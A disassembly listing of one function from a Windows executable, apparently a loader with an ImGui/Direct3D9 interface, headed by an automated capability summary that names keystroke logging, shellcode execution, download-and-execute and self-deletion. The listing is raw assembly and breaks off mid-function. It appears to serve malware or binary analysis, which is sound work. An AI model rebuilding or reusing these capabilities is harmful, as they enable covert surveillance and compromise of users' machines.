Function at 0x140051280
Capabilities:
Allocate or change rwx memory
Create process on windows
Delete file
Download and write a file
Download url
Execute command
Execute shellcode via indirect call
Execute shellcode via windows callback function
Log keystrokes via polling
Move file
Query or enumerate registry value
Receive and write data from server to client
Receive data
Self delete
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r13
push r15
lea rbp, [rsp - 0x1100]
mov eax, 0x1200
call fcn.1400bdde0
sub rsp, rax
mov rax, qword [0x140159080]
xor rax, rsp
mov qword [rbp + 0x1040], rax
xor r15d, r15d
mov r13d, r15d
mov dword [rbp - 0x7c], r15d
call fcn.140050ce0
lea rcx, [rbp + 0x998]
call fcn.14004ef60
lea r8d, [r15 + 4]
mov rcx, rax
lea rdx, str..exe
call fcn.140058960
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xa10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa20], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
mov rdx, qword [rbp + 0x9b0]
cmp rdx, 0x10
jb 0x140051342
mov rcx, qword [rbp + 0x998]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005133d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005133d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5b8
cmp qword [rbp + 0xa28], 0x10
lea rdx, [rbp + 0xb40]
mov qword [rsp + 0x1220], rbx
mov r8d, 0x104
lea rbx, [rbp + 0xa10]
cmovae rbx, qword [rbp + 0xa10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp + 0xb40]
mov qword [rbp + 0x970], r15
mov r8, 0xffffffffffffffff
mov qword [rbp + 0x980], r15
mov qword [rbp + 0x988], reloc.WS2_32.dll_ntohs
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400513a0
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x970]
call fcn.140059490
cmp qword [rbp + 0x988], 0x10
lea rcx, [rbp + 0x970]
mov rdx, rbx
cmovae rcx, qword [rbp + 0x970]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
mov rdx, qword [rbp + 0x988]
cmp rdx, 0x10
jb 0x140051420
mov rcx, qword [rbp + 0x970]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005141b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005141b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bd5b8
xorps xmm0, xmm0
mov qword [rsp + 0x11f8], r12
lea rdx, [rbp + 0x430]
movups xmmword [rbp + 0x430], xmm0
movups xmmword [rbp + 0x440], xmm0
movups xmmword [rbp + 0x450], xmm0
call fcn.140002cb0
mov rax, qword gs:[0x58]
mov ecx, reloc.WS2_32.dll_recv
mov r12, qword [rax]
mov qword [rbp + 0x100], r12
mov eax, dword [rcx + r12]
cmp dword [0x140901d64], eax
jle 0x1400514bf
lea rcx, [0x140901d64]
call fcn.1400bd208
cmp dword [0x140901d64], 0xffffffff
jne 0x1400514bf
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov r8, rax
lea rcx, [0x140901d64]
movabs rax, 0xd6bf94d5e57a42bd
imul r8
add rdx, r8
sar rdx, 0x17
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [0x140901d50], rdx
call fcn.1400bd1a8
xorps xmm0, xmm0
lea rax, str.LOGIN____
movups xmmword [rbp + 0x480], xmm0
mov qword [rbp + 0x488], rax
lea rcx, [0x1408cafd0]
lea rax, str.Thor
movups xmmword [rbp + 0x4a0], xmm0
mov qword [rbp + 0x4a0], rax
lea rax, str.Dev_:___0xERROR
mov qword [rbp + 0x480], rax
mov rax, qword [0x140901d50]
movups xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x490], rax
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm0
movups xmmword [rbp + 0x4e0], xmm0
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x140051545
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov r8d, dword [reloc.WS2_32.dll_accept]
lea rcx, [0x1408fbc38]
mov qword [rsp + 0x1230], rdi
lea eax, [r8 + 1]
mov dword [reloc.WS2_32.dll_accept], eax
lea rax, [rbp + 0x480]
mov qword [rsp + 0x20], rax
call fcn.1400063a0
mov qword [0x1408fbc30], rax
lea rcx, [0x1408cafd0]
mov edi, 1
mov eax, edi
xchg byte [0x1408cafce], al
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
mov rcx, qword [0x1408fbaf0]
test rcx, rcx
je 0x1400515ad
add rcx, 0x58
call qword [sym.imp.MSVCP140.dll__Cnd_broadcast]
call fcn.14004f8d0
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x1408fb430]
call fcn.1400676e0
lea rax, [0x1400578c0]
mov dword [rbp + 0x8f0], 0x50
xor ecx, ecx
mov qword [rbp + 0x8f8], rax
mov dword [rbp + 0x8f4], 0x40
mov qword [rbp + 0x900], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x938], r15
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x910], xmm0
lea rbx, str.RED_FLAG
movdqa xmmword [rbp + 0x920], xmm1
lea rcx, [rbp + 0x8f0]
mov qword [rbp + 0x908], rax
mov qword [rbp + 0x930], rbx
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0x908]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x930]
mov r8, rbx
mov qword [rsp + 0x58], r15
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [0x1408b6368], rax
mov rbx, rax
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x1408b6350], rax
mov rcx, rax
test rax, rax
je 0x140056c8a
lea rdx, [0x1408b6320]
mov qword [0x1408b62d0], r15
mov qword [rsp + 0x30], rdx
mov r9, rbx
lea rdx, [0x1408b62d0]
mov qword [0x1408b62dc], r15
mov qword [rsp + 0x28], rdx
mov r8d, edi
mov dword [0x1408b62e4], r15d
xor edx, edx
mov qword [0x1408b62ec], r15
mov dword [0x1408b62f4], r15d
mov qword [0x1408b6304], r15
mov dword [0x1408b62f8], edi
mov dword [0x1408b62e8], edi
mov dword [0x1408b62d8], r15d
mov dword [0x1408b62fc], edi
mov dword [0x1408b6300], 0x50
mov dword [0x1408b630c], edi
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x140056c83
mov rcx, qword [0x1408b6368]
xor edx, edx
mov qword [rsp + 0x1228], rsi
mov qword [rsp + 0x11f0], r14
movaps xmmword [rsp + 0x11e0], xmm6
movaps xmmword [rsp + 0x11d0], xmm7
movaps xmmword [rsp + 0x11c0], xmm8
movaps xmmword [rsp + 0x11b0], xmm9
movaps xmmword [rsp + 0x11a0], xmm10
movaps xmmword [rsp + 0x1190], xmm11
movaps xmmword [rsp + 0x1180], xmm12
movaps xmmword [rsp + 0x1170], xmm13
movaps xmmword [rsp + 0x1160], xmm14
movaps xmmword [rsp + 0x1150], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1408b6368]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x1408b62b8]
test rax, rax
je 0x1400517e5
inc dword [rax + 0x3b0]
mov rdx, qword [0x1408b62c0]
mov ecx, 0x3e48
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14005180a
xor edx, edx
mov rcx, rax
call fcn.1400075c0
mov rcx, rax
jmp 0x14005180d
mov rcx, r15
mov rax, qword [0x1408b62b8]
test rax, rax
cmove rax, rcx
mov qword [0x1408b62b8], rax
call fcn.14000de70
mov rdi, qword [0x1408b62b8]
xor ecx, ecx
mov qword [rbp + 0x2e0], rdi
or dword [rdi + 8], 0x400
mov qword [rdi + 0x20], r15
call fcn.14002f720
test dword [rdi + 8], 0x400
mov rax, qword [0x1408b62b8]
je 0x140051868
mov dword [rax + 0x164c], r15d
mov dword [rax + 0x1728], 0x3f800000
call fcn.140039410
mov rcx, qword [0x1408b6320]
lea rax, str.imgui_impl_dx9
mov rbx, qword [0x1408b62b8]
mov qword [0x1408ffe70], rcx
or dword [rbx + 0xc], 0x1008
mov qword [rbx + 0xe8], rax
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dword [rbx + 8], 0x400
je 0x1400518f3
mov rax, qword [0x1408b62b8]
lea rcx, [fcn.1400390d0]
mov qword [rax + 0x15f0], rcx
lea rcx, [0x1400391a0]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x140039230]
mov qword [rax + 0x1600], rcx
lea rcx, [0x140039290]
mov qword [rax + 0x1608], rcx
lea rcx, [0x1400393e0]
mov qword [rax + 0x1610], rcx
cmp word [0x1408ffeb0], r13w
mov rdi, qword [rdi + 0xa8]
jne 0x140051950
movups xmm0, xmmword [0x1401590b8]
lea rcx, [0x1408ffec0]
mov edx, 0x4e00
lea r8, [0x140140390]
mov r9d, 0x79a
movaps xmmword [0x1408ffeb0], xmm0
nop dword [rax + rax]
movsx eax, word [r8]
lea rcx, [rcx + 4]
add edx, eax
lea r8, [r8 + 2]
mov word [rcx - 2], dx
mov word [rcx - 4], dx
sub r9, 1
jne 0x140051930
mov word [rcx], r15w
lea rsi, str.C:WindowsFonts_segoeuib.ttf
mov qword [rbp + 0x990], r15
mov rcx, rsi
lea r8, [rbp + 0x990]
call fcn.140008d60
mov rbx, rax
mov r14d, 0xffff
xorps xmm15, xmm15
test rax, rax
je 0x140051bcd
xorps xmm0, xmm0
mov word [rbp + 0x344], r14w
unpcklps xmm0, xmm15
xorps xmm1, xmm1
movsd qword [rbp + 0x314], xmm0
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x366], rax
unpcklps xmm0, xmm15
mov ecx, 1
movsd qword [rbp + 0x31c], xmm0
movss xmm0, dword [0x140145ddc]
movups xmmword [rbp + 0x346], xmm1
mov qword [rbp + 0x2f0], r15
movaps xmm2, xmmword [rbp + 0x340]
movss xmm2, xmm0
movd eax, xmm1
movups xmmword [rbp + 0x356], xmm1
mov dword [rbp + 0x2f8], r15d
movaps xmm0, xmmword [rbp + 0x350]
movaps xmm8, xmmword [rbp + 0x360]
mov byte [rbp + 0x2fc], 1
movaps xmm3, xmmword [rbp + 0x2f0]
mov qword [rbp + 0x300], r15
mov dword [rbp + 0x308], 3
mov dword [rbp + 0x30c], ecx
movaps xmm4, xmmword [rbp + 0x300]
mov byte [rbp + 0x310], r13b
movaps xmm5, xmmword [rbp + 0x310]
mov qword [rbp + 0x328], r15
movaps xmm6, xmmword [rbp + 0x320]
mov dword [rbp + 0x330], r13d
mov dword [rbp + 0x334], 0x7f7fffff
mov byte [rbp + 0x338], r13b
mov dword [rbp + 0x33c], r15d
movaps xmm7, xmmword [rbp + 0x330]
mov qword [rbp + 0x370], r15
movsd xmm9, qword [rbp + 0x370]
movaps xmmword [rbp + 0xad0], xmm0
movaps xmmword [rbp + 0xa70], xmm3
movaps xmmword [rbp + 0xa80], xmm4
movaps xmmword [rbp + 0xa90], xmm5
movaps xmmword [rbp + 0xaa0], xmm6
movaps xmmword [rbp + 0xab0], xmm7
movaps xmmword [rbp + 0xac0], xmm2
movaps xmmword [rbp + 0xae0], xmm8
movsd qword [rbp + 0xaf0], xmm9
test al, al
jne 0x140051b51
lea r9, [0x140141c4d]
nop dword [rax + rax]
movzx eax, byte [r9 - 1]
lea rcx, [r9 - 1]
cmp al, 0x2f
je 0x140051ae9
cmp al, 0x5c
je 0x140051ae9
mov r9, rcx
cmp rcx, rsi
ja 0x140051ad0
movsd xmm0, qword [0x140145e30]
lea r8, str._s___.0fpx
mov edx, Ordinal_41
movsd qword [rsp + 0x20], xmm0
lea rcx, [rbp + 0xac6]
call fcn.140008a70
movaps xmm0, xmmword [rbp + 0xad0]
movaps xmm2, xmmword [rbp + 0xac0]
movaps xmm5, xmmword [rbp + 0xa90]
movaps xmm4, xmmword [rbp + 0xa80]
movaps xmm3, xmmword [rbp + 0xa70]
movsd xmm9, qword [rbp + 0xaf0]
movaps xmm8, xmmword [rbp + 0xae0]
movaps xmm7, xmmword [rbp + 0xab0]
movaps xmm6, xmmword [rbp + 0xaa0]
mov eax, dword [rbp + 0x990]
lea rdx, [rbp + 0x580]
movaps xmmword [rbp + 0x580], xmm3
mov rcx, rdi
mov dword [rbp + 0x588], eax
lea rax, [0x1408ffeb0]
movaps xmmword [rbp + 0x590], xmm4
movaps xmmword [rbp + 0x5b0], xmm6
mov qword [rbp + 0x5b8], rax
movaps xmmword [rbp + 0x5a0], xmm5
movaps xmmword [rbp + 0x5c0], xmm7
movaps xmmword [rbp + 0x5d0], xmm2
movaps xmmword [rbp + 0x5e0], xmm0
movaps xmmword [rbp + 0x5f0], xmm8
movsd qword [rbp + 0x600], xmm9
mov qword [rbp + 0x580], rbx
mov dword [rbp + 0x594], 0x41880000
call fcn.140033410
movss xmm3, dword [0x140145e80]
lea rcx, [0x140140378]
mov qword [rsp + 0x28], rcx
lea rdx, [0x1400d5850]
movaps xmm0, xmm15
mov qword [rbp + 0x380], r15
unpcklps xmm0, xmm15
mov eax, 1
movsd qword [rbp + 0x3a4], xmm0
movaps xmm0, xmm15
unpcklps xmm0, xmm15
mov dword [rbp + 0x39c], eax
xor eax, eax
movsd qword [rbp + 0x3ac], xmm0
movss xmm0, dword [0x140145ddc]
mov qword [rbp + 0x3f6], rax
mov rax, qword [0x1408b62b8]
movss dword [rbp + 0x3d0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d6], xmm0
mov dword [rbp + 0x388], r15d
mov rcx, qword [rax + 0xa8]
movups xmmword [rbp + 0x3e6], xmm0
mov byte [rbp + 0x38c], 1
mov qword [rbp + 0x390], r15
mov dword [rbp + 0x398], 3
mov qword [rbp + 0x3b8], r15
mov dword [rbp + 0x3c0], r13d
mov dword [rbp + 0x3c4], 0x7f7fffff
mov dword [rbp + 0x3cc], r15d
mov word [rbp + 0x3d4], r14w
mov qword [rbp + 0x400], r15
mov byte [rbp + 0x3c8], 1
mov byte [rbp + 0x3a0], 1
mov qword [rsp + 0x20], r15
call fcn.140033680
mov rax, qword [0x1408b62b8]
mov r14, qword [rax + 0xa8]
test rax, rax
je 0x140051cd0
inc dword [rax + 0x3b0]
mov rdx, qword [0x1408b62c0]
mov ecx, 0x3e0ac
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
lea rbx, [0x140118810]
lea rax, [0x140118800]
mov qword [0x1408ffe50], rsi
mov rcx, rbx
mov qword [0x1408ffe40], rax
mov qword [0x1408ffe58], rsi
lea rdi, [rsi + 0x3e0ac]
mov qword [0x1408ffe48], rdi
call fcn.1400379f0
cmp rax, rbx
je 0x140051d3b
cmp qword [0x1408ffe58], rdi
ja 0x140051d3b
mov rcx, rax
mov rbx, rax
call fcn.1400379f0
cmp rax, rbx
jne 0x140051d22
movss xmm0, dword [0x140145e88]
lea rax, [0x1401413d8]
movaps xmm6, xmmword [rbp + 0x380]
lea rdx, [rbp + 0x610]
movaps xmm8, xmmword [rbp + 0x390]
mov rcx, r14
movaps xmm10, xmmword [rbp + 0x3b0]
movaps xmm9, xmmword [rbp + 0x3a0]
movaps xmm11, xmmword [rbp + 0x3c0]
movaps xmm12, xmmword [rbp + 0x3d0]
movaps xmm13, xmmword [rbp + 0x3e0]
movaps xmm14, xmmword [rbp + 0x3f0]
movsd xmm7, qword [rbp + 0x400]
movaps xmmword [rbp + 0xc50], xmm6
movaps xmmword [rbp + 0x620], xmm8
movaps xmmword [rbp + 0x640], xmm10
mov byte [rbp + 0xc5c], 1
movaps xmm1, xmmword [rbp + 0xc50]
movaps xmmword [rbp + 0x610], xmm1
mov qword [rbp + 0x610], rsi
mov dword [rbp + 0x618], 0x3e0ac
movss dword [rbp + 0x624], xmm0
movaps xmmword [rbp + 0x630], xmm9
movaps xmmword [rbp + 0x650], xmm11
movaps xmmword [rbp + 0x660], xmm12
movaps xmmword [rbp + 0x670], xmm13
movaps xmmword [rbp + 0x680], xmm14
movsd qword [rbp + 0x690], xmm7
mov qword [rbp + 0x648], rax
call fcn.140033410
mov rax, qword [0x1408b62b8]
lea rcx, [0x140140378]
movss xmm3, dword [0x140145e78]
lea rdx, [0x1400d5850]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r15
mov rcx, qword [rax + 0xa8]
call fcn.140033680
mov rax, qword [0x1408b62b8]
mov r14, qword [rax + 0xa8]
test rax, rax
je 0x140051e68
inc dword [rax + 0x3b0]
mov rdx, qword [0x1408b62c0]
mov ecx, 0x2d774
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rsi, rax
lea rbx, [0x1400f7ef0]
lea rax, [0x1400f7ee0]
mov qword [0x1408ffe50], rsi
mov rcx, rbx
mov qword [0x1408ffe40], rax
mov qword [0x1408ffe58], rsi
lea rdi, [rsi + 0x2d774]
mov qword [0x1408ffe48], rdi
call fcn.1400379f0
cmp rax, rbx
je 0x140051ed9
nop word [rax + rax]
cmp qword [0x1408ffe58], rdi
ja 0x140051ed9
mov rcx, rax
mov rbx, rax
call fcn.1400379f0
cmp rax, rbx
jne 0x140051ec0
movss xmm0, dword [0x140145e7c]
lea rax, [0x1401413d8]
movaps xmmword [rbp + 0xb40], xmm6
lea rdx, [rbp + 0x4f0]
movaps xmmword [rbp + 0x500], xmm8
mov rcx, r14
movaps xmmword [rbp + 0x520], xmm10
mov byte [rbp + 0xb4c], 1
movaps xmm1, xmmword [rbp + 0xb40]
movaps xmmword [rbp + 0x4f0], xmm1
mov qword [rbp + 0x4f0], rsi
mov dword [rbp + 0x4f8], 0x2d774
movss dword [rbp + 0x504], xmm0
movaps xmmword [rbp + 0x510], xmm9
movaps xmmword [rbp + 0x530], xmm11
movaps xmmword [rbp + 0x540], xmm12
movaps xmmword [rbp + 0x550], xmm13
movaps xmmword [rbp + 0x560], xmm14
movsd qword [rbp + 0x570], xmm7
mov qword [rbp + 0x528], rax
call fcn.140033410
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0xa30]
call qword [sym.imp.USER32.dll_GetWindowRect]
movss xmm6, dword [0x140145d98]
xorps xmm0, xmm0
mov eax, dword [rbp + 0xa38]
movzx edi, byte [rbp - 0x80]
add eax, 0xfffffdf3
movzx esi, byte [rbp - 0x80]
movzx ebx, byte [rbp - 0x80]
movss xmm12, dword [0x140145e98]
movss xmm13, dword [0x140145ec8]
movss xmm9, dword [0x140145e90]
movss xmm8, dword [0x140145de0]
movss xmm14, dword [0x140145f34]
movss xmm7, dword [0x140145e58]
movd xmm10, eax
mov eax, dword [rbp + 0xa3c]
add eax, 0xfffffe33
cvtdq2ps xmm10, xmm10
movd xmm11, eax
cvtdq2ps xmm11, xmm11
mulss xmm10, xmm6
mulss xmm11, xmm6
movups xmmword [rbp + 0xa40], xmm0
movups xmmword [rbp + 0xa50], xmm0
movups xmmword [rbp + 0xa60], xmm0
nop dword [rax]
mov eax, 1
lea rcx, [rbp + 0xa40]
xor r9d, r9d
mov dword [rsp + 0x20], eax
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140052061
lea rcx, [rbp + 0xa40]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xa40]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140056aa3
cmp qword [0x1408ffe60], 0
jne 0x140052070
call fcn.140038dc0
mov rcx, qword [0x1408ffe80]
lea rdx, [rbp + 0x8d8]
mov r14, qword [0x1408b62b8]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x8e4]
sub eax, dword [rbp + 0x8dc]
movd xmm1, eax
mov eax, dword [rbp + 0x8e0]
sub eax, dword [rbp + 0x8d8]
cmp byte [reloc.WS2_32.dll_accept], 0
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [r14 + 0x14], xmm1
movss dword [r14 + 0x10], xmm0
je 0x14005211d
mov r15, qword [0x1408b62b8]
mov ecx, dword [r15 + 0x161c]
test ecx, ecx
jns 0x1400520f4
mov eax, ecx
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, ecx
lea rcx, [r15 + 0x1618]
test eax, eax
cmovg edx, eax
call fcn.140028030
xor r9d, r9d
mov dword [r15 + 0x1618], 0
lea r8, [0x140039de0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
xor r15d, r15d
mov byte [reloc.WS2_32.dll_accept], 0
lea rcx, [rbp + 0xa00]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0xa00]
xorps xmm1, xmm1
mov rax, rcx
xorps xmm0, xmm0
sub rax, qword [0x1408ffe88]
cvtsi2ss xmm0, qword [0x1408ffe90]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [r14 + 0x18], xmm1
mov qword [0x1408ffe88], rcx
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_recv
and al, 1
mov byte [r14 + 0x13c], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, reloc.WS2_32.dll_select
and al, 1
mov byte [r14 + 0x13d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [r14 + 0x13f], 0
mov byte [r14 + 0x13e], al
call fcn.140039930
cmp byte [r14 + 0xd0], 0
je 0x1400521c3
mov eax, 0xffffffff
jmp 0x1400521d0
mov rax, qword [0x1408b62b8]
mov eax, dword [rax + 0x1ef0]
cmp dword [reloc.WS2_32.dll_htons], eax
je 0x1400521e3
mov dword [reloc.WS2_32.dll_htons], eax
call fcn.1400397b0
call fcn.140039b30
call fcn.14000cfb0
cmp qword [0x1408b6340], 0
jne 0x140052261
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b6340]
mov qword [rsp + 0x70], rax
lea rdx, [0x1408b63c0]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x13b95
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408b62c8], 0
jne 0x1400522d5
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b62c8]
mov qword [rsp + 0x70], rax
lea rdx, [0x1407b2850]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x3f93e
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408b63b0], 0
jne 0x140052349
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b63b0]
mov qword [rsp + 0x70], rax
lea rdx, [0x140807ba0]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x632a
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408b6370], 0
jne 0x1400523bd
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b6370]
mov qword [rsp + 0x70], rax
lea rdx, [0x1408ad910]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x626f
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408b6310], 0
jne 0x140052431
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b6310]
mov qword [rsp + 0x70], rax
lea rdx, [0x1407f7fe0]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x6252
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408b63b8], 0
jne 0x1400524a5
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b63b8]
mov qword [rsp + 0x70], rax
lea rdx, [0x1407f2190]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x5e4c
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408c9f68], 0
jne 0x140052519
mov rcx, qword [0x1408b6320]
lea rax, [0x1408c9f68]
mov qword [rsp + 0x70], rax
lea rdx, [0x140816cf0]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x90c2
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408b6328], 0
jne 0x14005258d
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b6328]
mov qword [rsp + 0x70], rax
lea rdx, [0x1401590d0]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x95e2
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408c9f60], 0
jne 0x140052601
mov rcx, qword [0x1408b6320]
lea rax, [0x1408c9f60]
mov qword [rsp + 0x70], rax
lea rdx, [0x1407fe260]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x9931
mov dword [rsp + 0x58], r15d
mov dword [rsp + 0x50], 0xffffffff
mov dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 0xffffffff
mov dword [rsp + 0x20], 0xe1
call qword [sym.imp.d3dx9_43.dll_D3DXCreateTextureFromFileInMemoryEx]
cmp qword [0x1408b6330], 0
jne 0x140052675
mov rcx, qword [0x1408b6320]
lea rax, [0x1408b6330]
mov qword [rsp + 0x70], rax
lea rdx, [0x14080ded0]
mov qword [rsp + 0x68], r15
mov r9d, 0x104
mov qword [rsp + 0x60], r15
mov r8d, 0x8e12
